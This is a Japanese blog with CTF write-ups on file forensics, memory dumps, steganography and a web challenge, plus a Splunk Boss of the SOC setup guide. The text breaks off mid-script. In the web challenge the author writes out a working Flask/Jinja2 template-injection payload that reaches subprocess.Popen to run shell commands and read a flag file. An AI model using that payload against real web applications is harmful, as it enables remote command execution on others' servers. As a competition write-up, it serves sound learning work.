beelmama.7zというファイルが与えられます. 普通の7-zipファイルなので解凍して, もう一度fileコマンドで見てみます.

$ file beelmama.7z 
beelmama.7z: 7-zip archive data, version 0.4
$ 7z x beelmama.7z 

...

Everything is Ok

Size:       52428800
Compressed: 4207275
$ file beelmama
beelmama: DOS/MBR boot sector, code offset 0x3c+2, OEM-ID "mkfs.fat", sectors/cluster 4, reserved sectors 4, root entries 512, Media descriptor 0xf8, sectors/FAT 100, sectors/track 32, heads 64, hidden sectors 2048, sectors 102400 (volumes > 32 MB), serial number 0x6d826f3d, unlabeled, FAT (16 bit)

どうやらイメージファイルのようなので, FTKImagerにインポートして, rootディレクトリ以下をエクスポートします. エクスポートしたものが以下になります(-aオプションを付けないと隠しファイルを見落としてしまうので気をつけましょう).

$ tree -a \[root\]/
[root]/
├── .flag
│   └── beelzebub.key
├── 1
├── 10
├── 2
├── 3
├── 4
├── 5
├── 6
├── 7
├── 8
├── 9
├── flag
│   └── mullin.encrypted
├── flag.txt
├── flag3.txt
├── flag_no.txt
└── test.txt

2 directories, 16 files

隠しフォルダのbeelzebub.keyが怪しいのでcatでみてみると, RSA秘密鍵が出てきます.

$ cat \[root\]/.flag/beelzebub.key 
-----BEGIN RSA PRIVATE KEY-----
MIICXQIBAAKBgQDY0YYMzR/sHGdsRjA7vdH+7NT042GUblG282bRZf0Yu+Sss6QU
jVw2laKt7nYz/FGr86K/YGc5Wk2fePujXtl6FnOADsmaAAUODlYyHOfiNjOitY3D
vooHIROiIGiv4lk/3EuJsmNkC7KYFFvEXQc0G4OWMgw9rIdoh7cScgUh9wIDAQAB
AoGBAMuf80IgfyNzBZqFTJU+z3KYH+QhjCondWzZqS1tmEZbaAbd63I11G2bGJ46
/x4RkO5psOYE9szBR3dG2yVyVdD9sAcrNCVxgx1ya7lvHkAI9mKreRmZTsUc3MKl
O3+mkK8CLJuaVDKzz3t0Fv0lbT9szqvq7i6N19vEvc0ilxgZAkEA69qNMn0zktGQ
BmbR61hUaOSQEjZTuMcpG1AqhPymgk2siCZQDrytRoG6TvqYPW9q1Ez4oUYgzOjv
ehaFR+ChQwJBAOtWuZ+lehSjpt5qlTEgFqmXYR/YvLBfp27yw7fLy+AswpQrwZPY
xVYIfKDjaDCrWAVCVVZE2CIDFE8CP9vEpz0CQQCguMpHgbJHdq9i7WZXrlW3NSpI
fuUGohGNH1AaV+FQIoZUMWeU41ZhGb5QW8yq8OYnzlwP6q4ndQTcecRReu3pAkAC
7iGBi13pw9/gBRO2eN/PXMMo0loHGCnNh9hIAZGYSPZjQeg3HwvV9mUW274AXSHL
bvgBCvpl8gPet/hzlA9BAkBmo2ywHcJICVjjK3io78T5QUbIYe2I8YwvAERaALuD
DQzHowZGb0uLoIeuJDqp7gx0NN4ZOp2CHdLLnLqhIIoR
-----END RSA PRIVATE KEY-----

次に, その他のファイルがなんのファイルかを一気に見てみると, dataが多いことがわかります. DIY-Thermocamみたいな変なファイルがあるのは, ヘッダが偶然一致したからだろうと考えて一旦無視します.

$ file \[root\]/* \[root\]/*/*
[root]/1:                     empty
[root]/10:                    empty
[root]/2:                     empty
[root]/3:                     empty
[root]/4:                     empty
[root]/5:                     empty
[root]/6:                     empty
[root]/7:                     empty
[root]/8:                     empty
[root]/9:                     empty
[root]/flag:                  directory
[root]/flag.txt:              data
[root]/flag3.txt:             data
[root]/flag_no.txt:           DIY-Thermocam raw data (Lepton 3.x), scale 26362-15752, spot sensor temperature 0.000000, color scheme 184, minimum point enabled, maximum point enabled, calibration: offset 330911508135053796531536641654784.000000, slope 37801753964579846679128103190528.000000
[root]/test.txt:              data
[root]/flag/mullin.encrypted: data

さて, ここでRSA秘密鍵と, 謎のdataファイルが揃ったところで, これらのファイルは秘密鍵によって暗号化されているのではないかとあたりをつけます. ということで, opensslコマンドのrsautlを使ってフラグファイルをdecryptすると, フラグが得られます.

$ cat \[root\]/flag/mullin.encrypted | openssl rsautl -decrypt -inkey \[root\]/.flag/beelzebub.key 
CTFKIT{Pandemonium_Mont_Blanc}

FLAG: CTFKIT{Pandemonium_Mont_Blanc}

16 メモリダンプ (Forensics 250)

問題文として, 怪しいプロセスが使う怪しいファイルが怪しいぞ的なsomethingと, memory.zipが与えられます. とりあえず, 解凍して, 出てきたファイルがなんのファイルかを見ると, どうやらWindowsのcrash dumpだそうです.

$ file memory.zip 
memory.zip: Zip archive data, at least v2.0 to extract
$ unzip memory.zip 
Archive:  memory.zip
  inflating: memory_win7.dmp         
$ ls
memory.zip      memory_win7.dmp
$ file memory_win7.dmp 
memory_win7.dmp: MS Windows 64bit crash dump, full dump, 65422 pages

まあとりあえず, メモリダンプといえばvolatilityでしょ!ということで, 問題文にあったプロセスを調査します.

$ export VOLATILITY_LOCATION=file://$HOME/memory_win7.dmp
$ export VOLATILITY_PROFILE=Win7SP0x64
$ vol.py pstree
Volatility Foundation Volatility Framework 2.6
Name                                                  Pid   PPid   Thds   Hnds Time
-------------------------------------------------- ------ ------ ------ ------ ----
 0xfffffa8000b0d870:csrss.exe                         324    308      9    350 2018-12-19 05:08:58 UTC+0000
 
...

. 0xfffffa80017f9750:svch0st.exe                      784   1832      5    155 2018-12-19 05:09:49 UTC+0000

...

. 0xfffffa8000b7c7b0:smss.exe                         248      4      2     29 2018-12-19 05:08:58 UTC+0000

プロセス名を一つずつ見ていくと, 明らかに不審なsvch0st.exe(Pid: 784)が見つかります. ということで, こいつをdumpします.

$ vol.py procdump -p 784 --dump-dir ./
Volatility Foundation Volatility Framework 2.6
Process(V)         ImageBase          Name                 Result
------------------ ------------------ -------------------- ------
0xfffffa80017f9750 0x0000000000270000 svch0st.exe          OK: executable.784.exe
$ file executable.784.exe 
executable.784.exe: PE32+ executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows

executableファイルが出てくるので, とりあえずstringsで表層解析すると, Base64っぽいものが見えます.

$ strings executable.784.exe 
!This program cannot be run in DOS mode.
.text
`.rsrc

...

PADPADP
-     Q1RGS0lUe29pcmFfaGFfZmxhZ19qeWFuZWVlZX0=
RSDS

...

    </security>
  </trustInfo>
</assembly>

ということで, base64でデコードするとフラグが得られます.

$ echo "Q1RGS0lUe29pcmFfaGFfZmxhZ19qeWFuZWVlZX0=" | base64 -D
CTFKIT{oira_ha_flag_jyaneeee}

FLAG: CTFKIT{oira_ha_flag_jyaneeee}

18 you are not admin (Web 250)

この問題は, ふぁーすとぶらっどだ!やった!と喜んでいたら最後まで誰にも解かれなかった問題(ちょっとうれしい)です. しかし残念ながら, ほとんどスクリーンショットなどを撮っていないので, 思い出したり, 手元に擬似環境を用意して書いていきます.

まず, 普通に与えられたURLにアクセスすると, You are not admin!的なことが言われます. cookieにセットされた値を見てみると, 以下のような値が設定されていることがわかります.

session: eyJpc19hZG1pbiI6ZmFsc2V9.XbPVjQ.VKjnCZbHyPhPEXANh0AnBGk_gQM

脳死で, cookie session ctfとかでggると, 下記サイトが一番上にヒットします.

ぱーっと見ていくと, 下記のようなこの問題とガッツリまんまの文言が見つかります.

問題ページにアクセスして、ブラウザの開発者ツールや EditThisCookie などで Cookie の値を確認すると、 session という Cookie の中に以下のような値が入っていると思います。 eyJ1c2VybmFtZSI6Imd1ZXN0In0.W_vMzg.g41aywjgtacuHnXixdM3UaG9wN4

サイトの文言に従って, セッションをドット区切りにした0番目の文字列をbase64でデコードしてみると, 次のような文字列が得られます.

$ echo eyJpc19hZG1pbiI6ZmFsc2V9 | base64 -D
{"is_admin":false}

この文字列から, このセッションを改ざんして, is_adminfalsetrueに改ざんして, adminになりすましてアクセスすればフラグを得られそうです.

ということで, このサイトを見ていくと, どうやらこの問題ではFlaskというフレームワークが使われている可能性が高く, このセッションを改ざんするためにはセッションのSECRET_KEYが必要であることがわかりました. そして, SECRET_KEYはサーバーサイドテンプレートインジェクション(SSTI)という脆弱性を利用して, config変数を参照できれば, 奪取することができることがわかりました.

ひとまず, SSTIを探してみm((すぐに見つかりました. 以下は, 疑似環境で当時の様子を再現しています. ここでは, 404 not found ページにて, ユーザーによって入力されたURLが検証なしに画面に出力されているようです. そこで, 以下のように, {{g}}といった値を入力してみると, ビンゴ!ということで, Flaskの特殊なグローバルオブジェクトであるg変数の展開ができました.

gをインジェクション
gをインジェクション

しかし, どうやらconfigselfといった単語がブロックされているのか, 一部の変数の展開ができませんでした. ここで, 方針を変えて, SSTIを介してOSコマンドインジェクションをしてシェルを取ることを目指しました. 具体的には, SSTIからのOSコマンドインジェクションの定石として知られている, Pythonのオブジェクトをたどって, OSコマンドを発行できるオブジェクトを探す方針にします.

以下に思い出せる限りの試行と, 結果を箇条書きで示していきます.

  • {{url_for.__globals__}}
    • 出力結果なし
  • {{''.__class__}}
    • ヒット: http://localhost:5000/<class 'str'>
  • {{''.__class__.__mro__}}
    • ヒット: http://localhost:5000/(<class 'str'>, <class 'object'>)
  • {{''.__class__.__mro__[1]}}
    • エラー
  • {{''.__class__.__mro__.pop(1)}}
    • エラー`
  • {{''.__class__.__base__}}
    • ヒット: http://localhost:5000/<class 'object'>
  • {{''.__class__.__base__.__subclasses__()}}
    • ヒット: http://localhost:5000/[<class 'type'>, ...(中略)..., <class 'subprocess.Popen'>, ...(後略)..., <class 'ctypes.LibraryLoader'>]

ここまでの試行を簡単に説明すると, まずはなんとかPythonの全てのクラスの基底オブジェクトである, <class 'object'>を探しています. 途中, __mro__というものが出てきていますが, 基底クラスを探索するときに利用される属性で, これによって<class 'str'>の基底クラスがタプルとして返されます. しかし, なぜか__mro__[1]という形でindexを指定してアクセスすることができず, タプルなため, pop(1)も使えませんでした. しばらく調べ直していると, __base__という属性を見つけて, 無事に基底オブジェクトである<class 'object'>を参照することに成功しました.

次に, 基底クラスのサブクラスからOSコマンドを呼び出せるオブジェクトを探します. これは, .__subclasses__()メソッドによって簡単に探し出すことができました. 今回は<class 'subprocess.Popen'>とかいうめちゃくちゃ便利なオブジェクトを見つけることができたので, 次の入力値で任意のコマンドを実行します. whoami部分の値を変えることで, 任意のコマンドを実行できます.

''.__class__.__base__.__subclasses__().pop(280)(["whoami"],shell=True,stdout=-1).communicate()

任意のコマンドが実行でき, シェルが取れたので, リバースシェルでもしようかと思ったのですが, めんどくさかったので, findコマンドでapp.pyを探した結果, /var/www/you_are_not_adminというディレクトリに存在することが確認できました. その中をlsコマンドで確認したところ, flag_1145141919810.txtというファイルを見つけました(ファイル名についてはあえて言及しません).

ということで, フラグを以下の入力値でcatしてフラグを得ます.

''.__class__.__base__.__subclasses__().pop(280)(["cat /var/www/you_are_not_admin/flag_1145141919810.txt"], shell=True, stdout=-1).communicate()

flag
flag

FLAG: CTFKIT{th1s_!s_1nsecure_s3rv3r}

おわりに

高専セキュリティコンテストは2016年にB部門()で優勝してから, 3年ぶりの優勝となりました. 以前に比べたら, 自分が貢献できる量も増えたかなと思うので, 今後も精進していきたいです.

Boss of the SOC のはじめかた (Splunk)

はじめに

研究でSplunkを使ってログ解析をする機会があったので, たまたま見つけたBoss of the SOCというSplunkが無料で提供しているコンテンツをやろうと思いました. しかし, 日本語で検索するもほぼドキュメントがなく渋々本家のドキュメントを見て何度も詰まりながらなんとかセルフ開催CTFするところまでできたので, まとめておきます.

今回はmacOSへのインストールを行いましたが, 他の環境でもSplunkのインストール以外ではほぼ差異はないと思います(思います).

僕も英語が得意なわけではないので, 間違ったことを書いていたら, コメントなどでご教示いただければと思います.

目次

Boss of the SOC とは

BOSS OF THE SOC (BOTS) 1.0によると, ジョパディ形式のSplunkを使って行うCTFで, リアルだけど実在しない企業に起きたインシデントに対する問題に答えるものらしいです. また, もともとはカンファレンスで行われていたこのCTFをオープンソースにして, データセットにも無料でアクセスできるし, 自前でCTFプラットフォームもデプロイできるようにしたものらしいです.

CTFプラットフォームは結構簡単にデプロイできたし, 問題やヒントの追加もcsvに書き足すだけなので, 勉強会でも簡単に使えそうなどと考えながらセットアップをしていました. ただし, 今回の記事では, 一人でセルフ開催CTFするところまでしか書かないので, 実際に勉強会などをやろうとしたらユーザーの権限まわりの設定や, コンテストの開催時間の設定などを追加で行う必要があります.

また, BOTSは1.0(2016)と2.0(2017)が現在利用できるようですが, 今回は1.0のほうを使っていきます.

Splunk Enterpriseのインストール

これについては, いくらでも記事があるためそちらを参照いただければと思います. 今回, 僕が使ったのはSplunk Enterpriseで, 下記からダウンロードできるかと思います.

無料トライアルでSplunkのSIEMを体感

以下, めちゃくちゃ適当に見つけたインストールの記事を記載しておきます.

依存App/Add-Onのインストール

データセットをインポートする前に, 依存App/Add-Onのインストールを行います. (今回はtgzファイルをいちいちダウンロードしていちいちアップロードしてインストールしましたがもっと良い方法があれば教えて下さい..)

以下, App/Add-Onのインストール手順です.

1. Splunkのホーム画面左のAppバーの右にある歯車ボタンをクリックする.

2. Appの管理画面に遷移するので,画面右上にあるファイルからAppをインストールをクリックする.

3. 下記表のURLにアクセスし, 画面右のDownloadをクリックする.

4. 2つのチェックボックスにチェックを入れ, Agree to DownloadをクリックしてAppファイルをダウンロードする.

5. ダウンロードしたtgzファイルを選択しアップロードをクリックする.

6. 再起動が必要です的なことが言われたらすぐに再起動をする

  • ここで再起動をせずに他のAppのインストールを続けると, Splunkがクラッシュする可能性があります.
  • クラッシュしてしまうと, 500エラーでログインすらできなくなってしまいます.
  • ぼくがクラッシュさせてしまったときには, rm -rf /Applications/Splunkで一度Splunk自体を削除してもう一度インストールしました.

クラッシュさせるとめんどくさいので, 気をつけてインストールを行ってください. (間違ってもぼくのように, めんどくさいからまとめてやればええやろ!!などといって再起動を怠らないこと.)

ソースの表では, Splunk Stream Add-onに併せて, Splunk App for Streamがありますが, 同じApp(同じURL)なので, ここでは略記させていただいています. 実際にインストールするときも, 1回だけインストールすれば大丈夫です.

App / Add-on Version Download
Fortinet Fortigate Add-on for Splunk 1.3 https://splunkbase.splunk.com/app/2846
Splunk Add-on for Tenable 5.0.0 https://splunkbase.splunk.com/app/1710/
Splunk Stream Add-on / Splunk App for Stream(Note Stream 6.6.1 is no longer available. Use Version 7.1.1 instead.) 6.6.1 https://splunkbase.splunk.com/app/1809/
Splunk Add-on for Microsoft Windows 4.8.3 https://splunkbase.splunk.com/app/742/
TA-Suricata 2.3 https://splunkbase.splunk.com/app/2760/
Microsoft Sysmon Add-on 3.2.3 https://splunkbase.splunk.com/app/1914/
URL Toolbox 1.6 https://splunkbase.splunk.com/app/2734/

データセットのダウンロードとインポート

データセットのダウンロードとインポートには若干時間がかかってしまうため, 最初の方にしておきます.

BOTS1.0のデータセットにはbotsv1_data_set.tgz (6.1GB compressed)と, botsv1-attack-only.tgz(135MB compressed)の2つがあります. 後者(以降,フルデータとよぶ)は攻撃のログだけを含むデータセットで, 135MBと非常に小さくなっています. 前者(以降,攻撃データとよぶ)は攻撃以外のログも含むデータセットで, 圧縮した状態でも6.1GBと非常に大きいデータセットになっています.

しかし, 無料枠では1日に500MBまでのデータしかインポートできません. 今回は, 無料枠ということもあり, 攻撃データの小さい方を使って進めていきます. (ちなみに, 公式によれば月に3回までは制限を超えても大丈夫らしいです.)

攻撃データのダウンロードとインポート手順は以下の通りです.

1. botsv1-attack-only.tgz(135MB compressed)からデータをダウンロードする.

2. Splunkのホーム画面左のAppバーの右にある歯車ボタンをクリックする.

3. Appの管理画面に遷移するので,画面右上にあるファイルからAppをインストールをクリックする.

4. Appのアップロード画面に遷移するので,画面中央にあるファイルを選択でダウンロードしたbotsv1-attack-only.tgzをアップロードする.

5. Appの管理画面に遷移して, 画面上部に「Splunk Boss of the SOC (BOTS) Version 1 Data Set」は正常にインストールされましたと表示されていれば, アップロードが正常に完了.

アップロードが正常に完了したら, 下記の手順でデータを確かめる.

1. Appの管理画面左上の, splunk>enterpriseロゴの右隣にあるAppプルダウンをクリックして, Search&Reportingをクリックする.

Search&amp;Reportingを開く
Search&Reportingを開く

2. Search&Reporting Appの新規サーチ画面に遷移するので, 次のようなコマンドを打ち込む.

index=botsv1 earliest=0

3. コマンドを打ち込んだフォームの右にある過去24時間と書いてあるプルダウンをクリックして,全時間をクリックする.

4. 検索ボタン(虫眼鏡アイコン)をクリックし, 次のような画面が表示されることを確かめる.

データの確認
データの確認

CTFデータへのアクセスのための登録

BOTSのデータは基本的に無料でアクセスができます. ただし, データセット本体についてはgithubで簡単にアクセスできるのに対して, CTFの問題と回答,ヒントなどのデータについては別途登録を行う必要があります. そのため, ここでは登録方法について説明します.

登録なんてこんなん見なくてもできるだろ!なんて声が聞こえてきそうですが詰まったポイント(笑)があったので書き残しておきます.

手順は下記の通りです.

1. BOSS OF THE SOC (BOTS) 1.0にアクセスする.

2. 下記画像の右側のフォームを埋める.

BOTS登録画面
BOTS登録画面

3. State: * Zip Code: *のフォームにマウスをフォーカスして右クリックし,「検証」をクリックしてHTMLのソースコードを表示する.

ソースコード表示方法
State: * Zip Code: *のソースコード表示方法

4. <select name="stateOrProvince" class="form-control" style="display: none;">を探す(PostalCodeのフォームの上あたりにあります).

stateOrProvinceを探す
stateOrProvinceを探す

5. display:none;を2回クリックして消す.

6. Countryのフォームの下にStateフォームが現れるので,Non-US/Canadaを選択する.

Stateフォームが姿を表す
Stateフォームが姿を表す

7. その他の入力が済んでいたら, Submitを押して登録を完了する.

登録が完了したらメールでteamsplunk@splunk.comからCTFの問題と回答,ヒントなどを含むGoogle Driveのリンクが送られてきます. これらのファイルは後で使うので, 必ず送られてきていることを確認してください.

ちなみに, Stateフォームに値を入力せずに登録しようとすると次のような画面(笑)になってしまいます. ぼくはこれで小一時間悩んだ結果このやり方にたどり着きました...ショッパナからBOTSをはじめるハードルが高い... もしかしたらちゃんとした登録方法があるのかも..?

Stateフォームを入力しなかったときのエラー画面
Stateフォームを入力しなかったときのエラー画面

CTFプラットフォームAppのインストール

いよいよCTFをセルフ開催していきます. SA-ctf_scoreboardのREADMEを見てみると, 次のような機能が使えて, BOTSでなくても簡単にSplunkを利用したCTFが開催できそうです.

  • User/Team management
  • Scoring management
  • Question/Answer management
  • Hint management
  • Comprehensive scoreboards, dashboards, and analytics

基本的にはREADMEに則ってSA-ctf_scoreboardをインストールしていきます. ただしここでも少し詰まるポイントがあるので, しっかり説明をしていきます.

インストールの手順は以下の通りです.

1. 環境変数$SPLUNK_HOMEを以下の手順で設定する(macOS).

  • ~/.bash_profileなどに次を追加する.
export SPLUNK_HOME="/Applications/Splunk"
  • source ~/.bash_profile環境変数を設定する.
  • macOS以外でも, 同様にしてSplunkのインストール先を環境変数に保存する.

2. 下記の4つのAppを依存App/Add-Onのインストールと同様にしてインストールする.

3. 次のコマンドで, CTF Scoreboard appをインストールする.

cd $SPLUNK_HOME/etc/apps
git clone https://github.com/splunk/SA-ctf_scoreboard

4. 次のコマンドで, CTF Scoreboard Admin appをインストールする.

cd $SPLUNK_HOME/etc/apps
git clone https://github.com/splunk/SA-ctf_scoreboard_admin

5. 次のコマンドで, Splunkを再起動する.

$SPLUNK_HOME/bin/splunk restart

6. 次のコマンドでスコアボードのログのためのディレクトリを作成する.

mkdir $SPLUNK_HOME/var/log/scoreboard

7. Splunkのホーム画面にアクセスすると, AppバーにCapture the Flagと, Capture the Flag Adminが追加されていることを確認する.

8. 次の手順でメインユーザをctfのadminとして設定する.

  1. Splunkのホーム画面右上の設定プルダウンをクリックし, アクセス制御をクリックする.
    アクセス制御
    アクセス制御
  2. アクセス制御画面に遷移するので, ユーザーをクリックする.
  3. 普段ログインするユーザーのアクションカラムにある編集をクリックする.
  4. ロールに割り当て利用可能アイテムから次の3つをクリックして選択済みアイテムに追加する.
    • can_delete
    • ctf_admin
    • ctf_answer_service
  5. ここで, ctf_competitorを選択してしまうと, 後々CTFの問題に回答できなくなってしまうため注意が必要.

9. 次の手順でカスタムコントローラーを作成し, 設定を書き込む.

  1. 下記のコマンドでexampleからカスタムコントローラーをコピーする.
cd $SPLUNK_HOME/etc/apps/SA-ctf_scoreboard/appserver/controllers
cp scoreboard_controller.config.example scoreboard_controller.config
  1. カスタムコントローラーに適当な値を設定する(設定時[]は必要なし)
[ScoreboardController]
USER = [先程設定したユーザー名]
PASS = [先程設定したユーザーのログインパスワード]
VKEY = [10-20文字のランダムな文字列(なんでもいい)]

10. 次のコマンドで, Splunkを再起動する.

$SPLUNK_HOME/bin/splunk restart

11. BOTS1.0の問題/解答/ヒントを以下の手順で読み込む.

ここで, 本家インストール手順の13番目(Load sample data)をしてしまうと, サンプルデータとBOTS1.0の問題番号がコリジョンしてしまい, 正しいFlagがCorrectしなくなってしまうので注意が必要.

  1. CTFデータへのアクセスのための登録で登録したメールアドレスに送られてきたメールに記載されているGoogle Driveのリンク(BOTS v1: Access here)からBOTS1.0のCTFデータをダウンロードする.
  2. ダウンロードしたbotsv1content.zipを展開するとctf_{questions,answers,hints}.csvの3つが得られる.
  3. Splunkのホーム画面左のAppバーにあるCapture the Flag Adminをクリックする.
  4. Capture the Flag Admin Appの管理画面に遷移するので, 画面上部のバー左側にあるEdit...プルダウンをクリックし, Edit Questionsをクリックする.
  5. Lookup Editor AppのLookups / ctf_questions画面に遷移するので, 画面右上のImportボタンをクリックする.
  6. Import Fileダイアログが表示されるので, Select file to importボタンをクリックして, 先程展開したctf_questions.csvを選択してインポートする.
  7. 同様の手順で, Capture the Flag Admin AppのEditプルダウンの, Edit AnswersおよびEdit Hintsからctf_answers.csvctf_hints.csvをそれぞれインポートする.

12. Agreementのサンプルデータを下記の手順でロードする

  • Splunkのホーム画面左のAppバーにあるCapture the Flag Adminをクリックする.
  • Capture the Flag Admin Appの管理画面に遷移するので, 画面上部のバー左側にあるData Management...プルダウンのLoad SAMPLE Data (DANGER)...をクリックし, Load sample User Agreementをクリックする. (DANGERとあるのは, CTF競技中にこれをやると, データが上書きされてしまうためであり, 最初にやる事自体はなんらDANGERではないとのこと)

Let's play CTF!

以上で, CTFプラットフォームおよびデータセットの準備が完了したので, 実際に1問だけ動作を確認してみます. 以下の手順で, 実際にCTFをプレイしていきます.

1. Splunkのホーム画面左のAppバーにあるCapture the Flagをクリックする.

2. Capture the Flag AppのWelcome画面に遷移するので, 画面左中央にあるUser AgreementのView/Acceptボタンをクリックする.

3. 先程ロードしたSampleのUser Agreementが表示されるので, ダイアログ右下のAccept Agreementをクリックする.

4. WelcomeページのYour Event Details直下にある表のUser Agreement欄がAcceptedになったことを確認する.

5. Capture the Flag Appの上部バーのQuestionsをクリックする.

6. Number 1の問題をクリックする.

7. This is a simple question to get you familiar with submitting answers. What is the name of the company that makes the software that you are using for this competition? Just a six-letter word with no punctuation.とのことなので, Answerフォームにsplunkと入力する.

8. 下記画面が表示されれば, CTFは正常にプレイできる.

Correct画面
Correct画面

おわりに

今回は, SplunkとIncident Response的なsomethingを同時に学べる一石二鳥なBoss of the SOCというオープンソースCTFのはじめかたを解説しました.

このように, 1から順序立ててはじめかたを説明されたドキュメントは日本語はおろか, 英語の公式ドキュメントでも情報がバラバラと散らばっており, かなりとっつきにくい状況でした. 実際, 公式ドキュメントを読み進めていく中でも何度もつまづくポイントがあり, せっかくかなり良いコンテンツなのに, 環境構築でつまづいて実際に遊べないというのはもったいないなと思い, 今回記事におこすにいたりました.

ぼくはSplunkの第一人者でもなければ, 一般ユーザーにも及ばない初心者ですが, この記事をみて, BOTSのデータセットおよびCTFに触れたことがない人の, このコンテンツをはじめるきっかけ, あるいははじめる手助けになればと思います.

なにか間違いや, 他に詰まったポイントがあれば気軽にコメントやTwitter等でお知らせいただけると幸いです.

Saudi and Oman National Cyber Security CTF 2019に参加したおはなし

はじめに

久々にオンラインCTFに参加したので備忘録として解けた問題のみ, writeupをのこします. その他のwriteupは以下にまとまっていると思うので,気になる方はそちらもご覧ください.

ctftime.org

目次

Back to basics (easy,50,Web Security)

Points

not pretty much many options. No need to open a link from a browser, there is always a different way

http://35.197.254.240/backtobasics

解法

普通にブラウザでアクセスすると,https://www.google.com/にリダイレクトされてしまう. 問題文どおりcURLでアクセスしてみると,

$ curl http://35.197.254.240/backtobasics/

<script> document.location = "http://www.google.com"; </script>

案の定,document.locationGoogleにリダイレクトしていることがわかる. 下記コマンドでヘッダを確認すると,

$ curl --head http://35.197.254.240/backtobasics/
HTTP/1.1 200 OK
Server: nginx/1.10.3 (Ubuntu)
Date: Fri, 08 Feb 2019 17:30:27 GMT
Content-Type: text/html; charset=UTF-8
Connection: keep-alive
Allow: GET, POST, HEAD,OPTIONS

Allow:にGET以外のメソッドがあることを発見. そこで,POSTメソッドでアクセスしてみると,

$ curl -X POST http://35.197.254.240/backtobasics/
<!--
var _0x7f88=["","join","reverse","split","log","ceab068d9522dc567177de8009f323b2"];function reverse(_0xa6e5x2){flag= _0xa6e5x2[_0x7f88[3]](_0x7f88[0])[_0x7f88[2]]()[_0x7f88[1]](_0x7f88[0])}console[_0x7f88[4]]= reverse;console[_0x7f88[4]](_0x7f88[5])
-->

という,ちょっと難読化されたJavaScriptが返ってくる. 少し見やすく,変数名も整えてみると,

var items=["","join","reverse","split","log","ceab068d9522dc567177de8009f323b2"];
function reverse(rev_arg){
  flag= rev_arg[items[3]](items[0])[items[2]]()[items[1]](items[0])
}
console[items[4]]= reverse;
console[items[4]](items[5])

となる. これを適当なブラウザの開発者ツール(F12かCommand+option+i)でコンソールを開いてコピペすると,flagが得られる.

ちなみに,処理内容としては,単純にitemsの5番目の文字列を逆順に変換しているだけなので,Python

>>> "ceab068d9522dc567177de8009f323b2"[::-1]
'2b323f9008ed771765cd2259d860baec'

とするだけでもflagが得られる.

Flag

2b323f9008ed771765cd2259d860baec

Hack a nice day (medium,100,Digital Forensics)

Points

can you get the flag out to hack a nice day. Note: Flag format flag{XXXXXXX}

https://s3-eu-west-1.amazonaws.com/hubchallenges/Forensics/info.jpg

解法

このようなJPGファイルが与えられる. 下記のようにfileコマンドで確認しても,ただのJPG.

$ file info.jpg 
info.jpg: JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, comment: "badisbad", baseline, precision 8, 194x259, frames 3

つぎにexiftoolで見てみると,なにやらCommentが付与されている.

$ exiftool info.jpg 
ExifTool Version Number         : 10.32
File Name                       : info.jpg
Directory                       : .
File Size                       : 5.5 kB
File Modification Date/Time     : 2019:02:08 15:58:56+09:00
File Access Date/Time           : 2019:02:09 18:20:15+09:00
File Inode Change Date/Time     : 2019:02:08 15:58:56+09:00
File Permissions                : rw-r--r--
File Type                       : JPEG
File Type Extension             : jpg
MIME Type                       : image/jpeg
JFIF Version                    : 1.01
Resolution Unit                 : None
X Resolution                    : 1
Y Resolution                    : 1
Comment                         : badisbad
Image Width                     : 194
Image Height                    : 259
Encoding Process                : Baseline DCT, Huffman coding
Bits Per Sample                 : 8
Color Components                : 3
Y Cb Cr Sub Sampling            : YCbCr4:2:0 (2 2)
Image Size                      : 194x259
Megapixels                      : 0.050

これがflagか?と思ったが,違った. ここからLSBビットやら赤色ビット抽出やら,いろいろ試すもののうまくいかず. 最終的にjpgだしなんか変なコメントあるし,steghide使えばなんかわかるのでは?ということで,調査. はい出ました. passphraseにbadisbadを入力するとflaggg.txtが埋め込まれていることが確認できた.

$ steghide info info.jpg 
"info.jpg":
  format: jpeg
  capacity: 300.0 Byte
Try to get information about embedded data ? (y/n) y
Enter passphrase: 
  embedded file "flaggg.txt":
    size: 21.0 Byte
    encrypted: rijndael-128, cbc
    compressed: yes

というわけで,こいつを下記のように抽出する.

$ steghide --extract -sf info.jpg -p badisbad -xf flaggg.txt
wrote extracted data to "flaggg.txt".
$ cat flaggg.txt
flag{Stegn0_1s_n!ce}

steghideは経験則ゲーすぎる...?(問題的にどうsteghideに持って行こうとしていたんだろう...)

Flag

flag{Stegn0_1s_n!ce}

I love images (easy,50,Digital Forensics)

Points

A hacker left us something that allows us to track him in this image, can you find it?

https://s3-eu-west-1.amazonaws.com/hubchallenges/Forensics/godot.png

解法

このようなPNGファイルが与えられる. 下記のようにfileコマンドで確認しても,ただのPNG.

$ file godot.png 
godot.png: PNG image data, 64 x 64, 8-bit/color RGBA, non-interlaced

つぎにexiftoolで見てみると,下から3行目でWarningが出ている.

$ exiftool godot.png 
ExifTool Version Number         : 10.32
File Name                       : godot.png
Directory                       : .
File Size                       : 3.5 kB
File Modification Date/Time     : 2019:02:08 16:11:18+09:00
File Access Date/Time           : 2019:02:09 03:00:56+09:00
File Inode Change Date/Time     : 2019:02:08 16:11:23+09:00
File Permissions                : rw-r--r--
File Type                       : PNG
File Type Extension             : png
MIME Type                       : image/png
Image Width                     : 64
Image Height                    : 64
Bit Depth                       : 8
Color Type                      : RGB with Alpha
Compression                     : Deflate/Inflate
Filter                          : Adaptive
Interlace                       : Noninterlaced
Warning                         : [minor] Trailer data after PNG IEND chunk
Image Size                      : 64x64
Megapixels                      : 0.004

PNGのIENDチャンク以降になんかデータがくっついてるよ,とのこと. stringsコマンドで確認してみると,確かになんかくっついてる.

$ strings godot.png
...
pDuF(
op+P
q}'ZA0
O-T&
IEND
IZGECR33JZXXIX2PNZWHSX2CMFZWKNRUPU======

なんか=いっぱいついてるし,Base64の亜種かな?ということで,CyberChefを使って,Base32でデコードしたらflagが得られた.

Flag

FLAG{Not_Only_Base64}

I love this guy (medium,100,Malware Reverse Engineering)

Points

Can you find the password to obtain the flag?

https://s3-eu-west-1.amazonaws.com/hubchallenges/Reverse/ScrambledEgg.exe

解法

ScrambledEgg.exeという実行ファイルが渡される.

$ file ScrambledEgg.exe 
ScrambledEgg.exe: PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows

Mono/.Net assemblyということなので,ILSpyを使ってデコンパイルしてみる. すると,下記のようなプロラグムをみることができる.

流れは全部読んでいないけど,なんかLetters[なんちゃら]をたくさん繰り返しているところが怪しいので,そこをコピペして,次のようなPythonスクリプトを動かしてみる.

if __name__ == '__main__':
